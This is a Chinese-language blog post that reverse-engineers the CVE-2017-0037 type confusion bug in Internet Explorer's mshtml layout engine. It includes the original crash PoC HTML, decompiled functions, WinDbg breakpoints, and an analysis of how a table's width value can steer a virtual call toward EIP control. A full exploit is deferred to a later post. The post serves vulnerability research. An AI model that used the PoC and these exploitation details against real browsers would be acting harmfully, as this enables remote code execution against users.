最近在用WinAFL
,看到作者ifratric
在2017年利用winafl
發現了CVE-2017-0037這個洞, 類型是type confusion
,沒分析過這種類型的洞,并且在分析惡意代碼時遇到過,但是并沒有分析具體原因,所以就自己動手復現了一下,詳細的捋了一下整個流程
環境搭建
瀏覽器環境
開啟頁堆
為了便于分析并在分析中節省時間,建議將symbol path
設置在共享目錄里,附加過后設置一個快照
漏洞分析
首先利用ifratric
給出的PoC
進行測試
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
結果
崩潰調用棧
分析HandleColumnBreakOnColumnSpanningElement
函數
signed int __fastcall Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement(Layout::ContainerBoxBuilder *a1, Tree::ANode *a2, int a3)
{
int v3; // esi
Layout::ContainerBoxBuilder *v4; // eax
int v5; // ecx
int v6; // ecx
bool v7; // zf
Layout::ContainerBoxBuilder *v8; // ebx
int v9; // eax
Tree::ANode *v10; // eax
Tree::ANode *v11; // edi
char v13; // al
int v14; // eax
int v15; // eax
_DWORD *v16; // ebx
_DWORD *v17; // eax
char v18; // al
int v19; // eax
int v20; // [esp+0h] [ebp-2Ch]
char v21; // [esp+Ch] [ebp-20h]
Tree::ANode *v22; // [esp+14h] [ebp-18h]
_DWORD *v23; // [esp+18h] [ebp-14h]
int *v24; // [esp+1Ch] [ebp-10h]
int v25; // [esp+20h] [ebp-Ch]
Layout::ContainerBoxBuilder *v26; // [esp+24h] [ebp-8h]
bool v27; // [esp+2Bh] [ebp-1h]
v22 = a2;
v3 = 0;
v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(a1);
v6 = *(_DWORD *)(v5 + 16);
v7 = *(_DWORD *)(v6 + 136) == 0;
v25 = *(_DWORD *)(v6 + 12);
v27 = v7;
while ( 1 )
{
v8 = v4;
v26 = v4;
if ( !v4 )
return 0;
if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(v4) )
{
if ( v8 )
{
v9 = *((_DWORD *)v8 + 131);
if ( v9 == 1 || v9 == 2 || v9 == 4 )
{
v10 = Layout::MultiColumnBoxBuilder::LastColumnSpanningElement(v8);
v11 = v22;
if ( v10 == v22 || v10 && Tree::ANode::StartsBefore(v22, v10) )
return 2;
if ( !(*((_BYTE *)v8 + 576) & 1) )
{
SP<Tree::ElementNode>::operator=((char *)v8 + 560, v11);
*((_DWORD *)v8 + 141) = v3 + a3;
*((_BYTE *)v8 + 568) ^= (v27 ^ *((_BYTE *)v8 + 568)) & 1;
return 1;
}
}
}
return 0;
}
v13 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *))(*(_DWORD *)v8 + 84))(v26);
if ( &v20 != &v20 )
__fastfail(4u);
if ( v13 )
{
v14 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *, char *))(*(_DWORD *)v26 + 88))(v26, &v21);
if ( &v20 != &v20 )
__fastfail(4u);
v3 += *(_DWORD *)(v14 + 4);
}
if ( v27 )
{
v15 = *((_DWORD *)v26 + 4); // TableGridBoxBuilder
v16 = *(_DWORD **)(v15 + 136); // TableGridBox
v23 = *(_DWORD **)(v15 + 136);
if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) )
goto LABEL_35;
v17 = (_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v16);
v24 = &v20;
v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)*v17 + 0x1A4))(*v17);
if ( v24 != &v20 )
__fastfail(4u);
if ( v18
&& (v19 = Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23),
*(_DWORD *)(*(_DWORD *)v19 + 12) == v25) )
{
LABEL_35:
v27 = 1;
}
else
{
v27 = 0;
}
}
v25 = *(_DWORD *)(*((_DWORD *)v26 + 4) + 12);
v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(v26);
}
}
可以發現通過函數Layout::ContainerBoxBuilder::ParentContainerBoxBuilder
,循環處理元素,為了清楚到底是怎么處理的,將所有的處理結果打印處理出來
// mshtml.dll x86
bu 663DBF61 ".printf "###BeforeWhile=> 參數(ecx): "; dps ecx L1; .printf " 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
bu 6669FCE4 ".printf "###InWhile=> 參數(ecx): "; dps ecx L1; .printf " 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
結果
最后一次的返回值,是一個TableGridBoxBuilder
類型,在轉換中出錯
可以看到最終出錯是在將TableGridBoxBuilder
轉換到SGridBoxItem
的過程
v15 = *((_DWORD *)v26 + 4); // 獲得TableGridBoxBuilder對象
v16 = *(_DWORD **)(v15 + 136); // TableGridBox
v23 = *(_DWORD **)(v15 + 136);
if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) ) // 轉換出錯
既然出錯在TableGridBoxBuilder
對象上,那就來看看TableGridBoxBuilder
對象是如何生成的,其生成涉及到三個主要函數
Layout::TableGridBoxBuilder::TableGridBoxBuilder
Layout::TableGridBoxBuilder::Constructor
Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder
首先其構造函數
Layout::TableGridBox *__thiscall Layout::TableGridBox::TableGridBox(Layout::TableGridBox *this, struct Tree::ElementNode *a2, struct Layout::ContainerBoxBuilder *a3, bool a4, bool a5, struct Layout::ScrollState *a6)
{
Layout::TableGridBox *v6; // esi
_DWORD *v7; // edi
int v8; // eax
Layout::TableGridBox *v9; // esi
char v11; // [esp+Ch] [ebp-10h]
Layout::TableGridBox *v12; // [esp+18h] [ebp-4h]
v6 = this;
v12 = this;
Layout::ContainerBox::ContainerBox(this, a2, a3, a4, a5, a6);
*(_DWORD *)v6 = &Layout::TableGridBox::`vftable';
v7 = (_DWORD *)((char *)v6 + 164);
*((_DWORD *)v6 + 34) = 0; // readable 讀取對象(34*4=136)
*((_DWORD *)v6 + 35) = 0; // readable 返回對象
*((_DWORD *)v6 + 36) = 0;
*((_DWORD *)v6 + 37) = 0;
*((_DWORD *)v6 + 38) = 0;
*((_DWORD *)v6 + 39) = 0;
*((_DWORD *)v6 + 40) = 0;
*v7 = 0;
v7[1] = 0;
v7[2] = 0;
v7[3] = 0;
*((_DWORD *)v6 + 47) = 0;
*((_DWORD *)v6 + 48) = 0;
*((_DWORD *)v6 + 49) = 0;
*((_DWORD *)v6 + 50) = 0;
*((_DWORD *)v6 + 51) = 0;
*((_DWORD *)v6 + 52) = 0;
*((_DWORD *)v6 + 53) = 0;
*v7 = Math::SRectangle::Empty;
*((_DWORD *)v6 + 42) = *(&Math::SRectangle::Empty + 1);
*((_DWORD *)v6 + 43) = *(&Math::SRectangle::Empty + 2);
*((_DWORD *)v6 + 44) = *(&Math::SRectangle::Empty + 3);
*((_BYTE *)v6 + 216) &= 0xFEu;
*((_DWORD *)v6 + 45) = 0;
*((_DWORD *)v6 + 46) = 0;
v8 = Layout::LayoutBox::ComputedStyle(v6, &v11);
v9 = v12;
*((_BYTE *)v9 + 134) ^= ((*(_BYTE *)(*(_DWORD *)v8 + 1115) >> 5) & 1 ^ *((_BYTE *)v12 + 134)) & 1;
SP<Layout::FlexBoxBuilderRow>::operator=(0);
return v9;
}
可以看到這里構造了一個空對象,再看CreateTableGridBoxBuilder
函數,這個是理解整個過程很重要的函數,為了看的更加清晰一點,我截圖+注釋
在Layout::TableGridBox::InitializeColumnData
中初始化了TableGridBox
對象,跟蹤進入
在Layout::TableGridBoxBuilder::Constructor
中
再跟進Layout::ContainerBoxBuilder::Constructor
捋一下,大概的關系是這樣的
TableGridBoxBuilder
|
|--> +4 =>存儲 TableGrideBox
|
|--> +136 => 得到Array<Math::SLayoutMeasure>數組
再回到Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
函數,出錯的情況下,各個對象是這樣的
上面的整個過程是我們理論分析出來的,看看實際執行情況,是不是這樣
創建數組這里,windbg
符號發生了錯誤,可以通過IDA
看一下真正的函數
可以發現,我們理論推測的和實際執行情況是一致的。出錯的原因是,由于參數是個數組,但是Readable
把它當成對象,導致Type Confusion
。
出錯的具體原因找到了,來看看能不能利用,接下來分析一下攻擊面,看看通過控制哪個參數,能夠控制EIP
利用構建
再來看一下出錯附近的函數使用情況
其中有一個虛表函數調用,可以發現我們只要能夠控制ArrayObject_1+4
位置的值,就可以造成命令執行。
整體的過程大概是這樣的
TableGridBoxBuilder
|
|--> +4 =>存儲 TableGrideBox
|
|--> +136 存儲ArrayObject_1
|
|-> +4 存儲p_vftable
|
|-> +0x1A4 存儲一個虛表函數
如果想控制p_vftable
,就需要控制ArrayObject_1
,然而ArrayObject_1
是在TableGrideBox
初始化函數Layout::TableGridBox::InitializeColumnData
初始化的。
可以看到數組中的值,來自于TableBoxBuilder
的對象+165
位移處。為了不產生歧義,這里為以后的分析,解釋一下,165
是雙字表示的,換成字節表示,位移應該是660/0x294
。
這里我們需要分析一下TableBoxBuilder+165
處的具體數據,其實就像我們上面分析TableGridBoxBuilder
一樣。
與其相關的構建函數
Layout::TableBoxBuilder::TableBoxBuilder
Layout::TableBoxBuilder::CreateTableBoxBuilder
Layout::TableBoxBuilder::Constructor
經過多次分析,其實可以直接猜到會利用這三個函數進行構建,所以根據上面的分析,直接看Layout::TableBoxBuilder::CreateTableBoxBuilder
跟進Constructor
通過兩處標注出來的地方,發現TableBoxBuilderObject
,在中途被改變了,動態跟蹤一下
確實被改變了,說明通過直接分析TableBoxBuilder
對象的方式,分析出TableBoxBuilder+0x294
位移處的數據有點不太方便,這里先暫時放一放,如果別的方法不行的話,再來分析這個。
換一種方法,直接再次分析Layout::TableGridBox::InitializeColumnData
ArrayObject = (Layout::TableGridBox *)((char *)TableGridBoxObject + 136);
v5 = *(_DWORD *)(*((_DWORD *)v4 + 7) + 80) + 1;
v6 = Array<Math::SLayoutMeasure>::Create((int *)&v12, v5);
SArray<enum Tree::BorderSideEnum>::operator=((_DWORD *)TableGridBoxObject + 34, v6);// 將數組v6賦值給TableGridBoxObject+136位置(readable讀取對象->數組)
v7 = 0;
if ( !*((_DWORD *)TableGridBoxObject + 34) )
goto LABEL_18;
if ( !(*((_BYTE *)TableGridBoxObject + 132) & 8) )
{
index = 0;
if ( v5 > 0 )
{
ArrayObject_copy = ArrayObject;
do
{
*(_DWORD *)(*ArrayObject_copy + 4 * index) = *(_DWORD *)(*((_DWORD *)TableBoxBuildObject + 165) + 4 * index); // 跟蹤TableBoxBuilder對象的構建過程
++index;
}
while ( index < v5 );
TableGridBoxObject = v14;
v7 = 0;
}
}
對應的反匯編
可以發現ebx+0x294
位置存放的結構,存儲著我們需要的數據,利用堆跟蹤數據來源
通過分析堆的來源,到這里可以發現,其實可以根據更改width
去影響最后出錯位置,指向shellcode
,到這里正常來說,我感覺就可以去分析利用過程了。但是,這是我第一次分析瀏覽器方面的漏洞,想深入分析一下,接著分析。這個過程對于我這種第一次分析的人來說,特別困難,基本用了一周多所有的業余時間來做這個。
首先根據堆的提示,來看一下相關代碼
在這里分析的過程中,走了一點彎路,起初在看偽碼時,有點摸不著頭腦,想了很久,想分析的方法。之后在這里沒有找到出路,就再次回頭去分析TableBoxBuilder+0x294
的事。
其實這里可以一直往下分析的,最后也可以成功找到具體數據生成的方法,而且還會少走很多的彎路!
先來介紹我走的彎路,其中有很多分析的方法和經驗還是很好的
跟蹤TableBoxBuilder+0x294
數據
在TableBoxBuilder
對應的空間被創建后下斷點,斷下來后,在+0x294
被寫入時,再次下寫入斷點
bu 66146DF8 ".echo ======Change 0x294 Data======;r @$t0=eax; bc 1; ba w1 @$t0+0x294 "dd poi(@$t0+0x294) L4;r eip;kb; g";g"
結果
在Layout::TableBoxBuilder::InitializeBoxSizing
中
+0x294
被a4+0xc
改變了,所以再回溯,進入Layout::FlowBoxBuilder::OnChildBoxEntry
函數,這個函數特別長,只截取用到的部分
可以發現[FloBoxBuilder+136]+0xc
的值存儲了TableBoxBuilder+0x294
的值。為了分析FlowBoxBuilder
,我又分析了FlowBoxBuilder
的結構,這個過程比較惡心,很復雜,只說個結果吧
CreateTableBoxBuilder+136
|
| => TableBoxBuilder+0x294
|
| => (FlowBoxBuilder+0x114)+0xc
其中
FlowBoxBuilder+0x114
|
| => 存儲 SBoxModel
|
| => +0xc 存儲 Layout::STableBoxSizeCalculator + 0x4數據
最終的結果是Layout::STableBoxSizeCalculator+0x4
中存儲了我們最終的數組。
Layout::STableBoxSizeCalculator *__thiscall Layout::STableBoxSizeCalculator::STableBoxSizeCalculator(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
Layout::STableBoxSizeCalculator *v4; // edi
int v5; // ecx
v4 = this;
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
*((_DWORD *)this + 3) = 0;
*((_DWORD *)this + 4) = 0;
*((_DWORD *)this + 5) = 0;
*((_DWORD *)this + 6) = 0;
SArray<Layout::GridBlockTrackCollection::SRange>::operator=(this, (int)this);
SArray<Layout::GridBlockTrackCollection::SRange>::operator=((_DWORD *)v4 + 1, v5);
*((_DWORD *)v4 + 2) = 0;
*((_DWORD *)v4 + 3) = 0;
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 5) = 0;
*((_DWORD *)v4 + 6) = 0;
Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(v4, a2, a3, a4);
return v4;
}
而在Layout::STableBoxSizeCalculator::CalculateTableUsedWidth
中,更改了+0x4
位置的數據
void __thiscall Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
Layout::STableBoxSizeCalculator *v4; // edi
struct Tree::TableGridBlock *v5; // ebx
int v6; // esi
char v7; // [esp+Ch] [ebp-28h]
char v8; // [esp+14h] [ebp-20h]
int v9; // [esp+18h] [ebp-1Ch]
int v10; // [esp+24h] [ebp-10h]
int v11; // [esp+28h] [ebp-Ch]
int v12; // [esp+2Ch] [ebp-8h]
v4 = this;
v5 = *(struct Tree::TableGridBlock **)(a2 + 28);
Tree::TableGridBlock::EnsureTableStructureRelatedFormatsAreReadyToUse(*(Tree::TableGridBlock **)(a2 + 28));
Layout::STableBoxSizeCalculator::STableWidthCalculator::STableWidthCalculator(&v7, a2, a3, a4);
*((_DWORD *)v4 + 2) = v11;
*((_DWORD *)v4 + 3) = v9;
*((_DWORD *)v4 + 4) = v10;
Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset(// 改變值
v4,
v5,
(enum System::MemoryAllocationResultEnum *)&v12);
if ( v12 )
{
v6 = 0;
for ( *((_DWORD *)v4 + 6) = 0; v6 < *((_DWORD *)v5 + 13); ++v6 )
{
if ( v6 >= *((_DWORD *)v5 + 20) + 1 )
break;
if ( Tree::TableGridBlock::IsColumnVisibilityCollapse(v5, v6) )
*((_DWORD *)v4 + 6) += *((_DWORD *)v4 + 4) + *(_DWORD *)(*(_DWORD *)v4 + 4 * v6);
}
*((_DWORD *)v4 + 5) = *((_DWORD *)v4 + 3) + *((_DWORD *)v4 + 2);
}
SP<Layout::PageCollectionItem>::~SP<Layout::PageCollectionItem>((System::SmartObject **)&v8);
}
而其調用的函數Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset
更改了目標值
可以看到v14
影響著最終結果數組,而v14
又被v13
所更改,跟蹤Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor
Layout::STableBoxSizeCalculator::STableColumnDistributor *__thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor(_DWORD *this, int a2, int a3, _DWORD *a4)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v4; // ebx
_DWORD *v5; // edi
int *v6; // eax
char v8; // [esp+10h] [ebp-4h]
v4 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)this;
*this = 0;
v5 = this + 2;
this[1] = 0;
this[2] = 0;
this[6] = 0;
this[7] = 0;
this[9] = 0;
this[10] = 0;
this[11] = 0;
this[12] = 0;
this[13] = 0;
this[14] = 0;
*a4 = 1;
SP<Collections::GrowingItemListNode<SP<Tree::TableCellBlock>>>::operator=(this, a2);
*((_DWORD *)v4 + 1) = a3;
*((_DWORD *)v4 + 3) = 0;
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 5) = 0;
*((_DWORD *)v4 + 6) = 0;
*((_DWORD *)v4 + 7) = 0;
*((_DWORD *)v4 + 11) = 0;
*((_DWORD *)v4 + 9) = 0;
*((_DWORD *)v4 + 10) = 0;
*((_DWORD *)v4 + 12) = 0;
*((_DWORD *)v4 + 13) = 0;
*((_DWORD *)v4 + 14) = 0;
*((_DWORD *)v4 + 8) = 0;
*((_DWORD *)v4 + 15) = 0;
*((_DWORD *)v4 + 16) = 0;
v6 = Array<Math::SLayoutMeasure>::Create((int *)&v8, *(_DWORD *)(a2 + 80) + 1);
SArray<enum Tree::BorderSideEnum>::operator=(v5, v6);
if ( *v5 )
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(v4);
else
*a4 = 0;
return v4;
}
其值被Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth
更改
void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // esi
Layout::STableBoxSizeCalculator::STableColumnDistributor *v2; // ecx
Layout::STableBoxSizeCalculator::STableColumnDistributor *v3; // ecx
int v4; // [esp+4h] [ebp-4h]
v1 = this;
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsTotalMinMaxWidths(this);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsTotalUsedWidth(v1);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsUsedWidth(v1, &v4);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateNonPercentColumnsUsedWidth(v1, v4);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelAndAutoColumnsTotalWidth(v1);
Layout::STableBoxSizeCalculator::STableColumnDistributor::DeterminePixelAndAutoColumnsDistributionMethod(v2);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateAutoColumnsUsedWidth(v3);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(v1); // 改變值函數
Layout::STableBoxSizeCalculator::STableColumnDistributor::DistributeRoundingErrors(v1);
}
根據反復調試,最后更改數據的函數在這里
void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // edi
int v2; // ebx
int v3; // eax
int v4; // ecx
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // esi
int v10; // esi
_DWORD **v11; // eax
int v12; // edi
_DWORD *v13; // eax
_DWORD *v14; // eax
int v15; // [esp+Ch] [ebp-24h]
int v16; // [esp+10h] [ebp-20h]
int v17; // [esp+18h] [ebp-18h]
char v18; // [esp+1Ch] [ebp-14h]
char v19; // [esp+20h] [ebp-10h]
char v20; // [esp+24h] [ebp-Ch]
Layout::STableBoxSizeCalculator::STableColumnDistributor *v21; // [esp+28h] [ebp-8h]
int v22; // [esp+2Ch] [ebp-4h]
v1 = this;
v2 = 0;
v21 = this;
if ( *((_DWORD *)this + 3) > 0 )
{
v3 = *((_DWORD *)this + 16);
v4 = *(_DWORD *)(*(_DWORD *)this + 80) + 1;
v22 = *(_DWORD *)(*(_DWORD *)v1 + 80) + 1;
v5 = v3 - 1;
if ( v5 )
{
v6 = v5 - 1;
if ( v6 )
{
v7 = v6 - 1;
if ( v7 )
{
if ( v7 == 1 )
{
v8 = 0;
v9 = *((_DWORD *)v1 + 11) - *((_DWORD *)v1 + 7);
v21 = 0;
if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v8);
if ( v17 && v17 == 1 )
{
if ( *((_DWORD *)v1 + 7) <= 0 )
v14 = Math::SLayoutMeasure::MulDivQuickRound(&v19, v9, 1, *((_DWORD *)v1 + 3));
else
v14 = Math::SLayoutMeasure::MulDivQuickRound(&v20, v9, v16, *((_DWORD *)v1 + 7));
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * (_DWORD)v21) = v16 + *v14;
}
v8 = (int)v21 + 1;
v21 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)v8;
}
while ( v8 < v22 );
}
}
}
else
{
v10 = *((_DWORD *)v1 + 7) - *((_DWORD *)v1 + 6);
v11 = (_DWORD **)v21;
v12 = *((_DWORD *)v1 + 11) - *((_DWORD *)v21 + 6);
if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*v11, &v15, v2);
if ( v17 && v17 == 1 )
{
v13 = Math::SLayoutMeasure::MulDivQuickRound(&v18, v12, v16 - v15, v10);
*(_DWORD *)(*((_DWORD *)v21 + 2) + 4 * v2) = v15 + *v13;
}
v11 = (_DWORD **)v21;
++v2;
}
while ( v2 < v22 );
}
}
}
else if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);// 更改v16
if ( v17 && v17 == 1 )
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v16;// 改變值的循環
++v2;
}
while ( v2 < v22 );
}
}
else if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);
if ( v17 && v17 == 1 )
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v15;
++v2;
}
while ( v2 < v22 );
}
}
}
v16
被v15
更改,跟進
_DWORD *__thiscall Tree::TableGridBlock::ColumnMeasure(_DWORD *this, _DWORD *a2, int index)
{
_DWORD *result; // eax
_DWORD *v4; // esi
if ( this[16] && index < this[17] )
{
result = a2;
v4 = (_DWORD *)(this[16] + 16 * index);
*a2 = *v4;
++v4;
a2[1] = *v4; // 被賦予this[16] + 16 * index指向值
++v4;
a2[2] = *v4;
a2[3] = v4[1];
}
else
{
Tree::STableColumnMeasure::STableColumnMeasure(a2, 0, 0, 0, 0);
result = a2;
}
return result;
}
之后回退,看看傳進來的值什么時候改變的,最終回退到這里
傳進來的ebp-50h
竟然在sub esp,54h
就有了初始值
這么一來,根據我有限的經驗(雖然有,但是我真的沒找到),就無法再追蹤數據了。其實在調試的過程中,能夠知道數組的長度是和colspan
有關的,但是不知道width
和最終的結果有著什么樣的數據關系。至少從逆向的角度,我還沒有想到好的辦法。
期間看了k0shl
牛的文章說Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth
完成了width*100
,但是分析了這個函數也沒有找到。
所以在嘗試了很長時間的調試之后,我開始想了別的方法。
從純數學的角度考慮,假設輸入輸出是線性關系
input (線性變化)=> output
因為目前已知結果只和width
有關,所以假設結果和輸入是一元一次的線性關系,并設置colspan
為0
a*input_1 + b = output_1
a*input_2 + b = output_2
結果為a=100,b=200
,測試一個數據input_1=50
,計算結果為0x1450
至此,整個關系捋清楚了,我們可以通過堆噴,從而控制EIP
,但是在利用的過程中發現,只用CVE-2017-0037
沒有辦法直接繞過win7
下的ASLR+DEP
,還需要一個內存泄露的洞來形成利用鏈才行。所以打算下篇分析CVE-2017-0059,這個洞由于UAF
導致的內存泄露,正好結合這個洞,形成一個完整的利用鏈。到時再給出完整的exploit。但是還有很多fuzzing
結果需要分析,可能會稍微慢點:)。
總結
k0shl
大牛的分析還算詳細,但是很多跳躍太大了,要想連貫起來,作為新手還要花費很多時間去不斷調試。分析過程很痛苦,但是收獲也很大。最后歡迎批評指正。
參考